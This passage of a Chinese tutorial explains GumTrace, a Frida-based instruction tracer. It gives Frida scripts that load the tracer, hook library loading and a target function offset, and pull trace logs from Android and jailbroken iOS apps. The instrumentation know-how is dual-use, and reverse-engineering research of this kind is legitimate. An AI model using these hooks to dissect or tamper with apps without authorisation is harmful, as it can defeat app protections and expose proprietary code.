rgb(163, 21, 21);"><span leaf="">&#39;libtarget.so&#39;</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> gumtrace_init = </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> gumtrace_run = </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> gumtrace_unrun = </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">function</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">loadGumTrace</span></span><span leaf="">() {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> dlopen = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">NativeFunction</span></span><span leaf="">(</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">Module</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">findGlobalExportByName</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;dlopen&#39;</span></span><span leaf="">), </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">, [</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;int&#39;</span></span><span leaf="">])</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> dlsym = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">NativeFunction</span></span><span leaf="">(</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">Module</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">findGlobalExportByName</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;dlsym&#39;</span></span><span leaf="">), </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">, [</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">])</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> soHandle = </span><span style="color: rgb(128, 128, 128);"><span leaf="">dlopen</span></span><span leaf="">(</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">Memory</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">allocUtf8String</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;/data/local/tmp/&#39;</span></span><span leaf=""> + traceSoName), </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">)</span><br/><span leaf="">    gumtrace_init = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">NativeFunction</span></span><span leaf="">(</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">dlsym</span></span><span leaf="">(soHandle, </span><span style="color: rgb(128, 128, 128);"><span leaf="">Memory</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">allocUtf8String</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;init&#39;</span></span><span leaf="">)),</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;void&#39;</span></span><span leaf="">, [</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;int&#39;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">])</span><br/><span leaf="">    gumtrace_run = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">NativeFunction</span></span><span leaf="">(</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">dlsym</span></span><span leaf="">(soHandle, </span><span style="color: rgb(128, 128, 128);"><span leaf="">Memory</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">allocUtf8String</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;run&#39;</span></span><span leaf="">)), </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;void&#39;</span></span><span leaf="">, [])</span><br/><span leaf="">    gumtrace_unrun = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">NativeFunction</span></span><span leaf="">(</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">dlsym</span></span><span leaf="">(soHandle, </span><span style="color: rgb(128, 128, 128);"><span leaf="">Memory</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">allocUtf8String</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;unrun&#39;</span></span><span leaf="">)), </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;void&#39;</span></span><span leaf="">, [])</span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">function</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">startTrace</span></span><span leaf="">() {</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">loadGumTrace</span></span><span leaf="">()</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> moduleNames = </span><span style="color: rgb(128, 128, 128);"><span leaf="">Memory</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">allocUtf8String</span></span><span leaf="">(targetSo)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> outputPath = </span><span style="color: rgb(128, 128, 128);"><span leaf="">Memory</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">allocUtf8String</span></span><span leaf="">(</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;/data/data/com.example.app/trace.log&#39;</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> threadId = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 0 = 当前线程</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> options = </span><span style="color: rgb(128, 128, 128);"><span leaf="">Memory</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">alloc</span></span><span leaf="">(</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">)</span><br/><span leaf="">    options.</span><span style="color: rgb(128, 128, 128);"><span leaf="">writeU64</span></span><span leaf="">(</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 0=Stand, 1=DEBUG, 2=Stable</span></span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">gumtrace_init</span></span><span leaf="">(moduleNames, outputPath, threadId, options)</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">gumtrace_run</span></span><span leaf="">()</span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">function</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">stopTrace</span></span><span leaf="">() {</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">gumtrace_unrun</span></span><span leaf="">()</span><br/><span leaf="">}</span></code></pre><p data-line="168" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">第三步：在目标函数执行期间启动追踪</span></strong></p><p data-line="170" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">典型模式是Hook目标函数，在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">onEnter</span></code><span leaf="">中启动追踪，在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">onLeave</span></code><span leaf="">中停止：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="172" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> isTrace = </span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">function</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">hook</span></span><span leaf="">() {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> dlopen_ext = </span><span style="color: rgb(128, 128, 128);"><span leaf="">Module</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">getGlobalExportByName</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;android_dlopen_ext&#39;</span></span><span leaf="">)</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">Interceptor</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">attach</span></span><span leaf="">(dlopen_ext, {</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">onEnter</span></span><span leaf="">(</span><span style="color: inherit;"><span leaf="">args</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (args[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">].</span><span style="color: rgb(128, 128, 128);"><span leaf="">readCString</span></span><span leaf="">().</span><span style="color: rgb(128, 128, 128);"><span leaf="">indexOf</span></span><span leaf="">(targetSo) &gt; -</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 128, 0);"><span leaf="">this</span></span><span leaf="">.</span><span><span leaf="">can</span></span><span leaf=""> = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><br/><span leaf="">        },</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">onLeave</span></span><span leaf="">() {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 128, 0);"><span leaf="">this</span></span><span leaf="">.</span><span><span leaf="">can</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> targetModule = </span><span style="color: rgb(128, 128, 128);"><span leaf="">Process</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">findModuleByName</span></span><span leaf="">(targetSo)</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">Interceptor</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">attach</span></span><span leaf="">(targetModule.</span><span><span leaf="">base</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">add</span></span><span leaf="">(</span><span style="color: rgb(0, 128, 0);"><span leaf="">0x1234</span></span><span leaf="">), {</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">onEnter</span></span><span leaf="">() {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!isTrace) {</span><br/><span leaf="">                            isTrace = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">startTrace</span></span><span leaf="">()</span><br/><span style="color: rgb(0, 128, 0);"><span leaf="">this</span></span><span leaf="">.</span><span><span leaf="">tracing</span></span><span leaf=""> = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><br/><span leaf="">                        }</span><br/><span leaf="">                    },</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">onLeave</span></span><span leaf="">() {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 128, 0);"><span leaf="">this</span></span><span leaf="">.</span><span><span leaf="">tracing</span></span><span leaf="">) </span><span style="color: rgb(128, 128, 128);"><span leaf="">stopTrace</span></span><span leaf="">()</span><br/><span leaf="">                    }</span><br/><span leaf="">                })</span><br/><span leaf="">            }</span><br/><span leaf="">        }</span><br/><span leaf="">    })</span><br/><span leaf="">}</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">setImmediate</span></span><span leaf="">(hook)</span></code></pre><p data-line="204" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">第四步：运行并拉取日志</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="206" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">frida -U -f com.example.app -l hook.js</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 等待追踪完成后</span></span><br/><span leaf="">adb pull /data/data/com.example.app/trace.log .</span></code></pre><h3 data-line="212" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.3 iOS平台使用</span></h3><p data-line="214" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">iOS的使用流程与Android类似，主要差异在路径和库加载方式：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="216" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> traceSoName = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;libGumTrace.dylib&#39;</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// iOS 通过沙盒路径存储日志</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">function</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">getSandboxPath</span></span><span leaf="">(</span><span style="color: inherit;"><span leaf="">filename</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">const</span></span><span leaf=""> homePath = </span><span style="color: rgb(128, 128, 128);"><span leaf="">ObjC</span></span><span leaf="">.</span><span><span leaf="">classes</span></span><span leaf="">.</span><span><span leaf="">NSString</span></span><br/><span leaf="">        .</span><span style="color: rgb(128, 128, 128);"><span leaf="">stringWithString_</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;~&#34;</span></span><span leaf="">)</span><br/><span leaf="">        .</span><span style="color: rgb(128, 128, 128);"><span leaf="">stringByExpandingTildeInPath</span></span><span leaf="">().</span><span style="color: rgb(128, 128, 128);"><span leaf="">toString</span></span><span leaf="">()</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> homePath + </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;/Documents/&#39;</span></span><span leaf=""> + filename</span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">function</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">loadGumTrace</span></span><span leaf="">() {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> dlopen = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">NativeFunction</span></span><span leaf="">(</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">Module</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">findGlobalExportByName</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;dlopen&#39;</span></span><span leaf="">), </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">, [</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;pointer&#39;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;int&#39;</span></span><span leaf="">])</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">let</span></span><span leaf=""> soHandle = </span><span style="color: rgb(128, 128, 128);"><span leaf="">dlopen</span></span><span leaf="">(</span><br/><span style="color: rgb(128, 128, 128);"><span leaf="">Memory</span></span><span leaf="">.</span><span style="color: rgb(128, 128, 128);"><span leaf="">allocUtf8String</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;/var/jb/var/root/&#39;</span></span><span leaf=""> + traceSoName), </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ... 后续与 Android 相同</span></span><br/><span leaf="">}</span></code></pre><p data-line="236" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">iOS版本额外支持ObjC消息追踪，能自动拦截</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">objc_msgSend</span></code><span leaf="">并解析类名、selector以及ObjC对象内容（NSDictionary、NSArray、NSString等）。</span></p><h3 data-line="238" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.4 API参考</span></h3><p data-line="240" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace对外暴露三个C接口：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">接口</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">签名</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">void init(const char* module_names, char* trace_file_path, int thread_id, GUM_OPTIONS* options)</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">初始化追踪器</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">run</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">void run()</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">启动追踪</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">unrun</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">void unrun()</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">停止追踪</span></p></td></tr></tbody></table><p data-line="248" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">init参数详解：</span></strong></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: 